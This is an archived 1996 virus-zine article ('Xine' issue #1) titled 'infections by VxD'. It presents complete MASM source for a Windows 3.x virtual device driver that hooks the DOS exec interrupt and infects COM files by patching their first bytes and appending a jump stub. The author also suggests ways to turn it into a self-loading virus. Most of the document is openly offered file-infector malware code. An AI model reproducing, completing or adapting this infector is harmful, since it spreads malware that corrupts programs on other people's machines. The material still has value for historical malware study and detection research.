home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / XINE-1.ZIP / XINE-1.006 < prev    next >
Text File  |  1996-10-25  |  10KB  |  306 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 006 |
  4.                                         \-----------------------------/
  5.  
  6. JHB presents:
  7.  
  8.         infections by VxD
  9.  
  10.   Well yes just as tsr's are to dos as VxD's to windows  they offer an
  11. amazing power and most probaly 90 percent will never know a VxD has been
  12. added.  This example shows how a VxD can modify com files and do it fast.
  13. To make a true virus you would need to add a method to get the vxd in
  14. memory. Infecting a command file and hooking the int 2f you can watch
  15. and wait till windows yells out "hey Look out I am loading" at this time
  16. you can make the vxd tell windows to load it. Another I feel may be easier
  17. is to modifiy the system.ini to load it.  But those are otherbridges to
  18. cross... 
  19.  
  20.  
  21. ;well lets be honest I use a source code as a frame to build this
  22. ;example, I did make the int 21 hook and the other stuff but thats
  23. ;just modified virus ideas from regular dos virii.
  24. ;to test just ad the line in the system.ini in the
  25. ;[386Enh]
  26. ;device=vvmd.386
  27. ;oh yea you need the masm5.1 and the device driver kit for windows3.X
  28. ;to assembly this if any one finds another way to assembly this please
  29. ;let me know.
  30. ;
  31. ;************************************************************************
  32. TITLE VVD.ASM - Virtual Virus Device
  33. ;
  34. ;problem if ifshlp is loaded in the config.sys windows
  35. ;refuse to loads no error just returns to the c:\   only happen on one
  36. ;system not sure why
  37. ;************************************************************************
  38.  
  39.         .386p
  40.  
  41.  
  42. ;************************************************************************
  43. ;                             I N C L U D E S
  44. ;************************************************************************
  45.  
  46.         .XLIST
  47.         INCLUDE VMM.Inc
  48.         .LIST
  49.  
  50. ;************************************************************************
  51. ;                V I R T U A L   D E V I C E   D E C L A R A T I O N
  52. ;************************************************************************
  53.  
  54. Declare_Virtual_Device VVD, 3, 0, VVD_Control, TSRLoad_Device_ID, \
  55.                        Undefined_Init_Order, ,
  56.  
  57.  
  58. ;************************************************************************
  59. ;                  I N I T I A L I Z A T I O N   D A T A
  60. ;************************************************************************
  61.  
  62. VxD_DATA_SEG
  63.  
  64. pFn             dd      ?
  65. VVD_RW_BUFF     db      32h dup (0)
  66. SysFile        db    "WIN.COM"
  67.         db    9 dup (0)
  68. SysFileLen      dw      8
  69.  
  70. hFILE           DW      ?
  71.  
  72. NEW_JMP         DB      0E9H
  73. Fsize           DW      ?
  74. MARKER          DB      "V"
  75.  
  76. V_HOST          db      0c7h, 06, 00, 01          ;MOV WORD PTR [100],
  77. FIRST_WORD      DW      ?                         ;
  78.                 DB      0C7H, 06, 02, 01          ;MOV WORD PTR [102],
  79. SECOND_WORD     DW      ?                         ;
  80.                 DB      068H, 00, 01              ;PUSH 0100
  81.                 DB      0C3H                      ;RET
  82. SIZE_V          DW      0010H
  83. VxD_DATA_ENDS
  84.  
  85. ;************************************************************************
  86. ;             R E A L   M O D E   I N I T I A L I Z A T I O N
  87. ;************************************************************************
  88.  
  89. VxD_REAL_INIT_SEG
  90.  
  91. BeginProc VVD_Real_Mode_Init
  92.  
  93.         xor     bx, bx                  ;nothing to do here
  94.         xor     si, si                  ;except tell windows that
  95.         mov     ax, Device_Load_Ok      ;everything's ok
  96.         ret
  97.  
  98. EndProc VVD_Real_Mode_Init
  99.  
  100. VxD_REAL_INIT_ENDS
  101.  
  102. ;*************************************************************************
  103. ;              D E V I C E   C O N T R O L   P R O C E D U R E
  104. ;*************************************************************************
  105.  
  106. VxD_CODE_SEG
  107.  
  108. BeginProc VVD_Control
  109.  
  110.         Control_Dispatch Device_Init, VVD_Device_Init
  111.         Control_Dispatch Init_Complete, VVD_Init_Complete
  112.  
  113.         clc                          ; Ignore other control calls
  114.         ret
  115.  
  116. EndProc VVD_Control
  117.  
  118. VxD_CODE_ENDS
  119.  
  120.  
  121. ;*************************************************************************
  122. ;                   I N I T I A L I Z A T I O N   C O D E
  123. ;*************************************************************************
  124.  
  125. VxD_ICODE_SEG
  126.  
  127. BeginProc VVD_Device_Init
  128.  
  129.         mov     eax,21H                 ;hook V86 int 21 handler
  130.         mov     esi,OFFSET32 int_21handler
  131.         VMMcall Hook_V86_Int_Chain
  132.         clc                             ;say everything's clear
  133.         ret
  134.  
  135. EndProc VVD_Device_Init
  136.  
  137. BeginProc VVD_Init_Complete
  138.  
  139.         clc                             ;say everything's clear
  140.         ret
  141.  
  142. EndProc VVD_Init_Complete
  143.  
  144. VxD_ICODE_ENDS
  145.  
  146. VxD_CODE_SEG
  147.  
  148. ;*************************************************************************
  149. ;                   V86 I N T E R R U P T   H A N D L E R S
  150. ;*************************************************************************
  151.  
  152. ;*************************************************************************
  153. ;
  154. ;   int_21handler
  155. ;
  156. ;   DESCRIPTON: aTTEMPTS TO DETERMINE IF THE FILE IS A COM FILE IF SO
  157. ;               ADD SOME MARKER AT THE END
  158. ;               pass that point the com file is modified to
  159. ;               jmp to the end then return after restoring the host
  160. ;               
  161. ;
  162. ;=========================================================================
  163. ;NOTE IT APPEARS THAT ON ENTRY TO HERE EBP -> TO THE CRS (REGS STRUCTURE)
  164. ;WHILE                                 EBX -> THE VM HANDLE
  165. ;NOTE SURE IF THE EBX IS A POINTER BUT i AM ASSUMING IT IS AT THIS TIME
  166. ;TO MAKE LIFE EASIER
  167. ;SEEMS MY GUESS IS WRONG
  168. ;
  169. ;The system calls the procedure as follows:
  170. ;
  171. ;    mov     eax, Interrupt      ; number of interrupt hooked
  172. ;    mov     ebx, VM             ; current VM handle
  173. ;    mov     ebp, OFFSET32 crs   ; points to a Client_Reg_Struc
  174. ;    call    [HookProc]
  175.  
  176.  
  177.  
  178. BeginProc int_21handler
  179.         cmp     [ebp.Client_AX],4b00h            ;the exec call
  180.         jne     REFLECT_21
  181.  
  182.  
  183.         Push_Client_State          ;RESTORES THE CLIENT_IP_REG AND CS
  184.         VMMcall Begin_Nest_Exec    ;RESTORES THE CLIENT REGS  
  185.  
  186.     movzx    edx, [ebp.Client_DS]    ; get offset to file name
  187.     shl    edx, 4
  188.     movzx    eax, [ebp.Client_DX]
  189.     add    edx, eax
  190.     add    edx, [ebx.CB_High_Linear]
  191.         mov     [pFn], edx
  192.  
  193.         ;  if win.com  do not infect
  194.     push    edi
  195.         mov     edi, edx                        ; file name
  196.     mov    ecx, 128
  197.     mov    al, 0
  198.         repne   scasb                            
  199.     dec    edi
  200.  
  201. i21_90:    dec    edi
  202.     cmp    byte ptr [edi], '\'
  203.     je    short i21_100
  204.     cmp    byte ptr [edi], '/'
  205.     je    short i21_100
  206.     cmp    byte ptr [edi], ':'
  207.     je    short i21_100
  208.     cmp    edi, edx
  209.     jb    short i21_100
  210.     jmp    short i21_90
  211.  
  212. i21_100:    inc    edi            ; see if they match
  213.     mov    esi, offset32 [SysFile]
  214.     movzx    ecx, [SysFileLen]
  215.     repe    cmpsb
  216.     pop    edi
  217.         jz      EXIT_I21                   ; win.com do not play with
  218.  
  219.         mov     eax, 3D22h                 ; open file
  220.     VxDint    21h
  221.         jnc     file_open
  222.         jmp     EXIT_I21                   ;  error on open
  223.  
  224. file_open:
  225.         MOV     word ptr [hFile],AX             ;YEA OLD SAVE FILE  
  226.         MOV     EBX,EAX                         ;HANDLE
  227.  
  228.     mov    eax, 3F00h            ; read MZ
  229.         mov     ecx, 2                          ;assume if not MZ
  230.         lea     edx, FIRST_WORD                ;its a com file
  231.         VxDint  21h                             ;
  232.         jc      EXIT_I21                        ;
  233.         cmp     word ptr [FIRST_WORD], 5A4Dh   ;
  234.         je      close_EXIT_I21                  ;
  235.  
  236.         mov     eax, 3F00h                      ; read next two bytes
  237.         mov     ecx, 2                          ;assume if not MZ
  238.         lea     edx, SECOND_WORD                ;its a com file
  239.         VxDint  21h                             ;
  240.         jc      EXIT_I21                        ;
  241.         cmp     BYTE ptr [SECOND_WORD+1],"V"  ;
  242.         je      close_EXIT_I21                  ;
  243.  
  244.  
  245.  
  246.         mov     eax, 4202h                      ; seek to end
  247.     xor    ecx, ecx
  248.         mov     edx, ecx
  249.     VxDint    21h
  250.         jc      close_EXIT_I21
  251.  
  252.         CMP     DX,0                            ;FILE IS TOO BIG
  253.         JNE     close_EXIT_I21                  ;GET OUT OF HERE
  254.  
  255.         DEC     EAX                             ;adjust the file size
  256.         DEC     EAX                             ;for the jmp
  257.         DEC     EAX                             ;
  258.         MOV     [Fsize],AX                      ;SAVE THE FILE_SIZE
  259.  
  260.         MOV     EAX,4000H                       ;WRITE THE V_HOST
  261.         MOV     ECX, 10H                        ;
  262.         lea     EDX, V_HOST                     ;
  263.         VxDint  21h                             ;
  264.  
  265.         mov     eax, 4200h                      ; seek to end
  266.     xor    ecx, ecx
  267.         mov     edx, ecx
  268.     VxDint    21h
  269.         jc      close_EXIT_I21
  270.  
  271.  
  272.         MOV     EAX,4000H                       ;WRITE THE  
  273.         MOV     ECX, 4                          ;NEW JMP
  274.         lea     EDX, NEW_JMP                    ;
  275.         VxDint  21h                             ;
  276.  
  277.  
  278. close_EXIT_I21:
  279.  
  280.         mov     bx, [hFile]                 ; close file
  281.         mov     eax, 3E00h
  282.     VxDint    21h
  283.         
  284.  
  285.  
  286.  
  287. EXIT_I21:
  288.         VMMcall End_Nest_Exec      ;RESTORES THE CLIENT_IP_REG AND CS
  289.         Pop_Client_State           ;RESTORES THE CLIENT REGS
  290.  
  291.  
  292.                                                   
  293.  
  294. REFLECT_21:          ;reflect interrupt to next VxD or to V86 handler
  295.         stc
  296.         ret
  297.  
  298. EndProc int_21handler
  299.  
  300. VxD_CODE_ENDS
  301.  
  302.  
  303.         END VVD_Real_Mode_Init
  304.